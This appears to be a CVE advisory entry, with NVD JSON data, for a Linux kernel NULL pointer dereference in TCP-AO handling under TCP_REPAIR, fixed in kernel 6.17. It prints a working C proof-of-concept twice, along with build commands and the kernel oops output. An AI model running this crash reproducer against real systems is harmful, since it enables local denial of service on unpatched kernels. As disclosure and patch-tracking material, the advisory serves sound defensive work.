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CVE-2025-39950

Estado: AnalizadaMedia (5.5)—

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.

The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.

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$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn

Detalles técnicos trazas, registros y código del informe original
int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;

	memset(&sockaddr,'\0',sizeof(sockaddr));
	memset(&tcp_ao,'\0',sizeof(tcp_ao));

	sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	sockaddr.sin_family = AF_INET;

	memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
	memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
	tcp_ao.keylen = 16;

	memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));

	setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));

	sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);

	inet_aton("127.0.0.1", &sockaddr.sin_addr);

	connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));

return 0;
}

BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

Tecnologías afectadas (1)

Linux — Linux Kernel

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2025-39950",
  "cveTags": [],
  "metrics": {
    "cvssMetricV31": [
      {
        "type": "Primary",
        "source": "nvd@nist.gov",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 5.5,
          "attackVector": "LOCAL",
          "baseSeverity": "MEDIUM",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "integrityImpact": "NONE",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "NONE"
        },
        "impactScore": 3.6,
        "exploitabilityScore": 1.8
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              "versionType": "git"
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          "programFiles": [
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          "defaultStatus": "unaffected"
        },
        {
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "product": "Linux",
          "versions": [
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              "status": "affected",
              "version": "6.7"
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            {
              "status": "unaffected",
              "version": "0",
              "lessThan": "6.7",
              "versionType": "semver"
            },
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              "version": "6.12.49",
              "versionType": "semver",
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            },
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              "version": "6.16.9",
              "versionType": "semver",
              "lessThanOrEqual": "6.16.*"
            },
            {
              "status": "unaffected",
              "version": "6.17",
              "versionType": "original_commit_for_fix",
              "lessThanOrEqual": "*"
            }
          ],
          "programFiles": [
            "net/ipv4/tcp_ao.c"
          ],
          "defaultStatus": "affected"
        }
      ]
    }
  ],
  "published": "2025-10-04T08:15:48.253",
  "references": [
    {
      "url": "https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    }
  ],
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "type": "Primary",
      "source": "nvd@nist.gov",
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"
    }
  ],
  "lastModified": "2026-06-17T09:18:53.763",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
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              "versionEndExcluding": "6.12.49",
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  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
}